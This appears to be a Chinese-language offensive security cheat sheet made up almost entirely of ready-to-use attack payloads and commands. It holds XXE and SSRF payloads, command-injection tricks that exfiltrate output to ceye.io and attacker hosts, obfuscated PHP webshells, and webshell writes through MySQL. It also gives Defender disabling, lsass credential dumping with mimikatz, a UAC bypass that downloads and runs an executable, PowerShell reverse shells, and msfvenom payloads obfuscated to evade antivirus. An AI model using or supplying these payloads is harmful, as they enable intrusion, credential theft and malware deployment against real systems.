XXE bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 #utf-7 bypass <?xml version="1.0" encoding="UTF-7"?> <!DOCTYPE copyright[ +ADwAIQBFAE4AVABJAFQAWQAgAHQ-e+AHMAdAAgAFMAWQBTAFQARQBNACAAIAAiAC8-e+AHQAYwAvAHAAYQBzAHMAdwBvAHI-d+ACIAPg- ]> <reset > <login > &test;</login > <secret > login</secret > </reset > # 当DOCTYPE不能修改时，用xiinclude來定位 <foo xmlns:xi ="http://www.w3.org/2001/XInclude" > <xi:include parse ="text" href ="file:///etc/passwd" /> </foo >
soap xxe <soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
doc或xlsx包含xxe xlsx和doc文件利用xxe：工具https://github.com/BuffaloWill/oxml_xxe $ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive: ../XXE.xlsx
inflating: xl/drawings/drawing1.xml
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/sharedStrings.xml
inflating: xl/styles.xml
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: _rels/.rels
inflating: [Content_Types].xml
1 2 3 4 <xml...> <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]> <x>&xxe;</x> <workbook...>
重新打包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ zip -r ../poc.xslx * updating: [Content_Types].xml (deflated 71%) updating: _rels/ (stored 0%) updating: _rels/.rels (deflated 60%) updating: docProps/ (stored 0%) updating: docProps/app.xml (deflated 51%) updating: docProps/core.xml (deflated 50%) updating: xl/ (stored 0%) updating: xl/workbook.xml (deflated 56%) updating: xl/worksheets/ (stored 0%) updating: xl/worksheets/sheet1.xml (deflated 53%) updating: xl/styles.xml (deflated 60%) updating: xl/theme/ (stored 0%) updating: xl/theme/theme1.xml (deflated 80%) updating: xl/_rels/ (stored 0%) updating: xl/_rels/workbook.xml.rels (deflated 66%) updating: xl/sharedStrings.xml (deflated 17%)
其他
https://zhuanlan.zhihu.com/p/36517036
文件上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 php : .jpg.php 、 .php5 、 .pHt 、 .pgif asp : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0) perl: .pl, .pm, .cgi, .lib jsp : .jsp, .jspx, .jsw, .jsv, .jspf Coldfusion: .cfm, .cfml, .cfc, .dbm mine头 Content-Type : application/octet-stream Content-Type : image/jpeg Content-Type : image/png Content-Type : image/gif 配置文件： .htaccess web.config httpd.conf __init__.py <%out.println("test");%>
文件上传使用oss存储
上传html配合js进行钓鱼
如果该域名在跨域传输允许里，靠该html接收跨域信息
可以上传shtml来读取文件。1 2 3 4 shtml用的是SSI指令，SSI是为WEB服务器提供的一套命令，这些命令只要直接嵌入到HTML文档的注释内容之中即可。 //可以用来读文件 //可以用来执行命令 //也是读文件 与FILE不同他支持绝对路径和../来跳转到父目录 而file只能读取当前目录下的
文件上传 bypass 1 2 3 apache x.php.x #apache老解析漏洞 1.php%OA 上传后访问/1.php%0A #CVE-2017-15715
多文件上传 bypass方法
1 2 3 4 5 6 7 8 9 10 11 ------------128137731 Content-Disposition:form-data;name="file" ;filename="1.txt" ; Content-Type:text/plain hello ------------128137731 Content-Disposition:form-data;name="file" ;filename="1.php" ; Content-Type:text/plain <? = phpinfo();?> ------------128137731
来自常见的几种上传bypass.list使用说明：
1.使用burpsuite里intruder
文件下载：upload_fuzz
下列只针对php的GD渲染库：[Q]GD渲染 bypass:
[A] jpg生成脚本 [U] 详情看脚本注释:php jpg_payload.php xxx.jpg
rest test 1 2 3 4 5 6 7 $ git clone https://github.com/flipkart-incubator/Astra.git $ cd Astra $ docker build -t astra . $ docker run --rm -it --link astra-mongo:mongo -p 8094:8094 astra
nodejs bypass
1 {"user":"name","passwd":"password"}修改类型为{"user":[0],"passwd":[0]}
JavaScript 原型链污染 修改函数的原型，导致类/对象被定义时引入恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // foo是一个简单的JavaScript对象 let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型（即Object） foo.__proto__.bar = 2 // 由于查找顺序的原因，foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar)
例子：kibana 原型链污染 rce
详细：
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
python ssti Accessing parameters
In most examples we used request.args to access GET parameters, but there are other dictionaries that can be populated with custom values:
GET: request.args
Cookies: request.cookies
Headers: request.headers
Environment: request.environ
Values: request.values
The following notations can be used to access attributes of an object:
request.class
request["class"]
request|attr("class")
Elements of arrays can be accessed with:
array[0]
array.pop(0)
flask session漏洞
flask验证码绕过漏洞
Codeigniter 2 session伪造及对象注入漏洞
签名使用hash函数而非hmac函数，导致利用hash长度扩展攻击来伪造session
任意文件读取导致密钥泄露，进一步造成身份伪造漏洞或反序列化漏洞
如果客户端session仅加密未签名，利用CBC字节翻转攻击，我们可以修改加密session中某部分数据，来达到身份伪造的目的
[U] python xx.py "加密的session"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload) : payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : print(decryption(sys.argv[1 ].encode()))
https://www.leavesongs.com/PENETRATION/client-session-security.html
格式化字符串 利用原理：
1 2 3 4 5 6 "{username}" .format(username='phithon' ) "{username!r}" .format(username='phithon' ) "{number:0.2f}" .format(number=0.5678 ) "int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}" .format(42 ) "{user.username}" .format(user=request.username) "{arr[2]}" .format(arr=[0 ,1 ,2 ,3 ,4 ])
利用方法：http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
详细参考：
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html https://github.com/shiyanlou/seedlab/blob/master/formatstring.md
f修饰符与任意代码执行 python >3.6f'xxxx'相当于php里${}可直接将字符串转换为代码执行
例：print(f"{__import__('os').system('dir')}")
redirect 1 2 3 https://evil.ca/c.office.com =>>> https://evil.ca/c.office.com ctf例子：https://ctftime.org/writeup/16925
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf
hadoop
模块
节点
默认端口
HDFS
NameNode
50070
HDFS
SecondNameNode
50090
HDFS
DataNode
50075
HDFS
Backup/Checkpoint node
50105
MapReduce
JobTracker
50030
MapReduce
TaskTracker
50060
https://www.alibabacloud.com/forum/read-848 https://www.4hou.com/technology/3787.html
漏洞利用 权限提升 waf bypass 命令注入（linux） 1 2 3 4 5 6 7 8 9 /???/?c.??????????? -e /???/b??h 2130706433 1337 curl http://xxx.ceye.io/`whoami|base64` curl xxx -d $(ls) $'\154\163' cat${IFS} ///e\t\c/////\p\a\s\s\w\d o=/eipq/qctc/paipq/qcsswd&&ca$*t<${o//ipq\/qc/} for i in $(ls /) ; do host "$i .xxx.ceye.io" ; done ${!#} <<<{$\'\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\' ,$\'\\$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\' ,$\'\\$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\' }
命令注入（windows）： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 127.0.0.1|i^d ping 127.1 -a?a&who^a^mi powershell C:\*\*2\n??e*d.* @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e ping 127.1 @(C:/*/*3?/w?oa*.*) ping 127.1{接、-、+、@、$、,、/、^、*}(whoami) %PATH:~2,9% ping %USERNAME%.xx.ceye.io for /F %x in ('whoami' ) do start http://xxx.ceye.io/%xfor /F %x in ('whoami' ) do powershell $a =[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x' ));$b =New-Object System.Net.WebClient;$b .DownloadString('http://xxx.ceye.io/' +$a );
命令注入 bypass技巧汇总 关键词过滤 [+]绕过姿势:?、*、正则、$*、$@、$x(x代表1-9)、${x}、变量、"、'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 w'h' o'am' i cat ./fl[a-z]g cat ./fl?g cat ./fl*g c\at ./flag c$6at ./flag c$@at ./flag c$*at ./flag c${1} at ./flag a=c;b=at;$a $b ./flag a="ct1at" ;${a:0:1} ${a:3:4} ./flag $(printf "\x63\x61\x74\x20\x2e\x2f\x66\x6c\x61\x67" ) c"a" t ./fl'ag' {cat,./flag} {l\s,} c\at${IFS} {1,/etc/p}{asswd,swd} /???/??t ./???? s=$'uname\x20-a' &&$s IFS=,;`cat<<<cat,/etc/passwd` cat${IFS} ///e\t\c/////\p\a\s\s\w\d
空格过滤 [+]绕过姿势:<、>、$IFS
1 2 3 4 cat<>./flag cat$IFS ./flag ${PS2} 对应">" ${9} 对应" "
空白,链接字符绕过 1 2 3 4 5 6 7 8 9 10 11 %0a(\n) %0d(\r) %09(\t) %3c(<) %1a %0d 等空白字符 id;ls id|ls id||ls id&&ls
n > file分段写入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 >ls\\ ls>_ >\ \\ >-t\\ >\>g ls>>_ >on >th\\ >py\\ >\|\\ >m \\ >co\\ >u.\\ >id\\ >ba\\ >\ \\ >rl\\ >cu\\ sh _ sh g
1 2 3 4 5 6 7 8 9 10 curl xxx -d `ls` curl xxx -d $(ls) ping %USERNAME%.xx.ceye.io Victim wget --header=evil:$(ifconfig|xxd -p -c 100000) http://xxx.com Attacker: echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2) " |xxd -r -p
进制编码
进制编码
linux下使用xxd（16进制）
1 2 echo "ls" | xxd -pecho "6c730a" | xxd -r -p | bash
windows下使用certutil
1 certutil -encode 1.txt 2.txt
curl 进制转换的ip
1 2 3 4 http://127.1 127.00000000.000000.1 curl 0x7F000001 | bash curl http:2130706433 | bash
基于时间 1 time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
多语言命令注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} e.g: echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ e.g: echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/" echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
SSRF（bypass） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ping 0--1.ipv6-literal.net http://[::]:80/ http://0000::1:80/ gopher://xxx/_POST/XXXX sftp://evil.com:11111/ dict://attacker:11111/ tftp://evil.com:12346/TESTUDPPACKET ldap://localhost:11211/%0astats%0aquit file://\/\/etc/passwd http://localtest.me http://customer1.app.localhost.my.company.127.0.0.1.nip.io ping bugbounty.dod.network == 127.0.0.2 0:0:0:0:0:ffff:127.0.0.1 curl http:2130706433 ping 0177.1 localhost:+11211aaa localhost:00011211aaaa curl -v "http://evil$google .com" http://ⓐⓟⓟⓛⓔ.ⓒⓞⓜ.ⓒⓃ = http://apple.com.cn show list: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ http://1.1.1.1 &@2.2.2.2 urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3 0://evil.com:80;http://google.com:80/ http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/ http://127.1.1.1:80
ssrf 接xss
ssrf调用接口
思路扩展：任意文件读取下可以试下是否可以ssrf，通过http协议访问阿里云的元数据接口，查看是否有ak，sk，这样可以获取oss的存储权限。1 2 3 4 5 6 7 8 9 10 11 # 调用Alibaba http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id # 调用docker http://127.0.0.1:2375/v1.24/containers/json Simple example docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
CRLF bypass 1 2 3 %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE java%0d%0ascript%0d%0a:alert(0) http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
%E5%98%8A = %0A = \u560a
%E5%98%8D = %0D = \u560d
%E5%98%BE = %3E = \u563e (>)
%E5%98%BC = %3C = \u563c (<)
https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/ https://github.com/swisskyrepo/PayloadsAllTheThings
重定向 bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 www.白名单网站.com.evil.com #使用白名单网站绕过白名单网站 //google.com #使用// 绕过 http头 https:google.com #使用https: 绕过 //过滤 \/\/google.com/ #使用\/ 绕过 //过滤 /\/google.com/ /?redir=google。com #使用。或unicode字符（℀等）或%E3%80%82 绕过.过滤 //google%E3%80%82com http://baidu.c℆a.google.com //google%00.com #使用%00、%oa等字符 //google%0a.com ?next=whitelisted.com&next=google.com #变量覆盖 baidu.com@googl.com #@重定向
unicode速查
后门 使用：冰蝎免杀
webshell免杀(PHP) 1 2 3 4 5 6 7 8 9 +----------------+-----------------+----------------+----------------+ | Command | Displays Output | Can Get Output | Gets Exit Code | +----------------+-----------------+----------------+----------------+ | system() | Yes (as text) | Last line only | Yes | | passthru() | Yes (raw) | No | Yes | | exec() | No | Yes (array) | Yes | | shell_exec() | No | Yes (string) | No | | backticks (``) | No | Yes (string) | No | +----------------+-----------------+----------------+----------------+
姿势：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 `$_GET[1 ]` include $_GET[1 ];<? =usort(...$_GET);${(system)(id)} ${(system)(ls)} (system)(whoami); (ass.(er).t)(phpinfo()); "\x61\x73\x73\x65\x72\x74" (phpinfo());get_defined_functions()[internal][555 ](ls) var_dump((substr)(__FILE__ ,0 ,-19 )); <script language="php" >phpinfo();@eval ($_GET[_]);</script> base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($$pi){pi}(($$pi){abs}) <? ={if :1 )$GLOBALS['_G' .'ET' ][sky]($GLOBALS['_G' .'ET' ][cool]);die ();$pi=base_convert;$pi(371235972282 ,10 ,28 )(($pi(8768397090111664438 ,10 ,30 ))(){9 }) <? = namespace c ;\eval (phpinfo());?>
详细：
https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html https://blog.zeddyu.info/2019/02/28/Some-Tricks-of-Bypass-php-waf/
1 2 <? = `ls`?> 相当于<?php echo `ls` ?> <? = `/???/c?t /flag.???`>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 = <? =\asSert($_GET[1 ])?> <? =(assert)($_GET[1 ])?> <? =create_function($_GET[1 ],1 );?> @$f = $_GET[1 ]; eval ($s=&$f);$s = $_GET[1 ]; $d = 's' ; $e = $$d; eval ($a=$e);eval (trim(substr(file_get_contents("http://localhost:8000/k.gif" ),293930 )));$s = '_GET' ; $s = $$s; $f = '' .[]; $ff = $f['666' =='hello' ]; $d = 'ss' ; $dd = 'Ert' ; $ddd = $ff.$d.$dd; $e = $ddd; $e($s[156 ]); $a = '_GET' ; $a = $$a; $a[1 ]($a[2 ]); $a = $_GET[1 ]; $b = substr($a,0 ,1 ); $bb = substr($a,1 ,2014 ); eval ($b.$bb);$a = $_GET[1 ]; $b = mb_substr($a,0 ,1 ); $bb = mb_substr($a,1 ,2014 ); eval ($b.$bb);<?php function user () $a123 = chr(97 ).chr(115 ).chr(115 ).chr(101 ).chr(114 ).chr(116 ); return '' .$a123;} $a123 = user(); $x123 =array ($_GET['x' ]); array_map($a123,$a123 = $x123 ); ?> class A var $like = "demo" ; function __destruct () @eval ($this ->like); } } $like = $_GET['hello' ]; $len = strlen($like)+1 ; $pp = "O:1:\"A\":1:{s:4:\"like\";s:" .$len.":\"" .$like.";\";}" ; $s='unSer' ; $ss='ialIze' ; $sss=$s.$ss; $like_unser = $sss($pp);
cs入门 windows下运行teamserverhttps://evi1cg.me/archives/teamserver.html https://boombao.net/2019/09/04/cobalt-strike-1/ https://github.com/aleenzz/Cobalt_Strike_wiki
argue污染
1 2 3 4 5 6 7 8 argue net1 helloworld argue run net1 user guest /active:yes run net1 user guest %$83ScA1 run net1 localgroup administrators guest /add net user guest rdesktop -u administrator 127.0.0.1:6666 -p c1z*W5 #rdesktop连接3389
同理可以污染其他argue powershell.exe xxxxxxxxxxxxxxxxxxxxxxxxx
https://www.c0bra.xyz/2019/12/03/Cobalt-Strike%E7%B3%BB%E5%88%978/
横向 转发 1 goproxy https://snail007.github.io/goproxy/
socks nmap
1 nmap -sT xxx -p 445,3389
mysql 相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 select host,user ,password from mysql.user;select * from mysql.user where user = substring_index(user (), '@' , 1 ) ;select @@datadir;select @@version_compile_os,@@version_compile_machine;select load_file ('/etc/passwd' ); select replace (load_file (char (47 ,101 ,116 ,99 ,47 ,112 ,97 ,115 ,115 ,119 ,100 )),char (60 ),char (32 ));show variables like '%secure%' ;select "<?=$a='_GET';$a=$$a;$a[1]($a[2]);?>" into outfile '/var/www/html/connect_file.php' ; show variables like "%general%" ;set global general_log='on' ;SET global general_log_file='/var/www/html/1.php' ;SELECT '<?php assert($_POST["cmd"]);?>' ;1.msf模块,批量mysql登录检测 auxiliary/scanner/mysql/mysql_login 2.msf执行sql语句 admin/mysql/mysql_sql 3.msf mof exploit/windows/mysql/mysql_mof > 要求 1.root权限 2. 4.msf udf exploit/multi/mysql/mysql_udf_payload > 要求 1.win2000、winXP、win2003 2.有写入权限的账户 5.msf 上传文件 exploit/windows/mysql/scrutinizer_upload_exec
window相关 1 2 Set-MpPreference -disablerealtimeMonitoring $true
procdump
1 .\procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
1 2 3 4 privilege::debug #权限提升 token::elevate lsadump::sam sekurlsa::logonpasswords #抓取密码
procdump+mimikatz
1 2 .\procdump64.exe -accepteula -ma lsass.exe lsass.dmp .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
win10 or win2012r2以上版本内存无明文密码，需要注册表开启(需要admin权限，运行完后需要注销重新登录)reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell相关 1 2 #现在文件 powershell (New-Object System.Net.WebClient).DownloadFile("[url]","[path]");
msf相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 route #查路由 sysinfo #获取系统信息 netstat –ano #端口开放情况 getsystem #提权 idletime #查看目标机闲置时间 run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找域控 run autoroute -s 192.168.159.0/24 #添加到目标环境网络 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389 #端口扫描
https://xz.aliyun.com/t/2536#toc-5
msf派生shell给cs
1 2 3 4 5 6 7 8 background #挂起shell到后台 sessions -l #查看shell use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http #同cs选的监听方式 set lhost cs的ip地址 set lport cs的监听端口 set session 1 set DisablePloadHandler true;
http://zone.secevery.com/article/1128
vpn password get 1 2 3 4 1.星号查看器 2.客户端正确密码后面添加$,客户端会报错将密码保存在内存中，使用procdump获取 procdump64.exe -accepteula -ma 14256 vpn.dmp strings vpn.dmp | grep -F 'PIN:' -A 6
免杀shellcode
https://github.com/clinicallyinane/shellcode_launcher/
python msf bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 注意！python要在3.4 以下,先安装py2exe python –m pip install py2exe msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168 .78 .128 LPORT=9233 -f raw > start.py 生成如下： import base64,sys;exec(base64.b64decode({2 :str,3 :lambda b:bytes(b,'UTF-8' )}[sys.version_info[0 ]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguNzguMTI4Jyw5MjMzKSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==' )))进行一次rot13编码： import getpass,stringrot13 = str.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz" ,"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm" ); 最后结果： import getpass,base64,sys,string;rot13 = str.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz" ,"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm" );exec(base64.b64decode({2 :str,3 :lambda b:bytes(b,'UTF-8' )}[sys.version_info[0 ]]('nJ1jo3W0VUAiL2gyqPkmqUW1L3DfqTygMDczo3VtrPOcovOlLJ5aMFtkZPx6Pty0pax6PtxWpm1mo2AeMKDhp29wn2I0XQVfp29wn2I0YyACD0gsH1EFEHSAXDbWPKZhL29hozIwqPtbWmR5Zv4kAwthAmthZGV4Wlj5ZwZmXFxXPDyvpzIunjbWMKuwMKO0BtbWPKEcoJHhp2kyMKNbAFxXoQ1mqUW1L3DhqJ5jLJAeXPp+FFpfpl5lMJA2XQDcXIfjKDcxCKZhpzIwqvufXDc3nTyfMFOfMJ4bMPx8oQbXPJDeCKZhpzIwqvufYJkyovuxXFxXMKuyLluxYUfaplp6p30cPt==' .translate(rot13))))生成exe: python -m py2exe.build_exe start.py --bundle-files 0
golang
1 2 3 4 go build -ldflags "-w -s" msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lhost 0.0.0.0;set lport 3232;exploit"
https://weekly-geekly.github.io/articles/459168/index.html
AVIator 使用cs配合AVIator生成免杀文件
使用方法查看github usage
1 2 3 4 5 import ref=open('payload.cs' ,'r' ).read() result=re.findall(r'{(.*)}' ,f)[0 ].replace(' ' ,'' ) for i in range(0 ,len(result),80 ): print(result[i:i+80 ])
微步 0/24
https://github.com/Ch0pin/AVIator
ps1 1 set-executionpolicy remotesigned
uac bypass 一键反弹shell
1 powershell -Windowstyle Hidden Start-BitsTransfer -Priority foreground -Source 'https://github.com/IVorder/f_list/raw/master/calc.exe' -Destination "C:\Windows\Temp\prox.exe" ;New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force;New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force;Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\Temp\prox.exe" -Force;Start-Process "C:\Windows\System32\ComputerDefaults.exe"
1 2 3 4 New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\ComputerDefaults.exe"
清除Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
https://github.com/redcanaryco/atomic-red-team
添加user https://xz.aliyun.com/t/4078
gcc adduser.c -l netapi32 -o adduser64.exehttps://github.com/jas502n/adduser
提权（powershell） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 echo ^$d = New-Object System.Net.WebClient >> c:\KRECYCLE\1 .ps1 & echo ^$d .DownloadFile(^"http://127.0.0.1/others/ 64.exe^" ,^"c:\KRECYCLE\3.exe^" ) >> c:\KRECYCLE\1 .ps1powershell -ExecutionPolicy Bypass -File c:\KRECYCLE\1 .ps1 VPS nc -vlp 8888 反弹powershell的shell powershell IEX (New-Object Net.WebClient).DownloadString('https:// raw.githubusercontent.com/samratashok/nishang/ 9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/InvokePowerShellTcp.ps1' );Invoke-PowerShellTcp -Reverse -IPAddress VpsIp -port 8888
加载远程的exe到内存中执行，从而绕过杀软
1 2 3 4 IEX (New-Object Net.WebClient).DownloadString('https:// raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/ CodeExecution/Invoke-ReflectivePEInjection.ps1' );InvokeReflectivePEInjection -PEUrl http://vpsip/down/ms16-032 _x64.exe -ExeArgs 'whoami' -ForceASLR
powershell目录:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
域渗透 影响范围：windows server
权限：
入侵主机后 查看 net group/domain
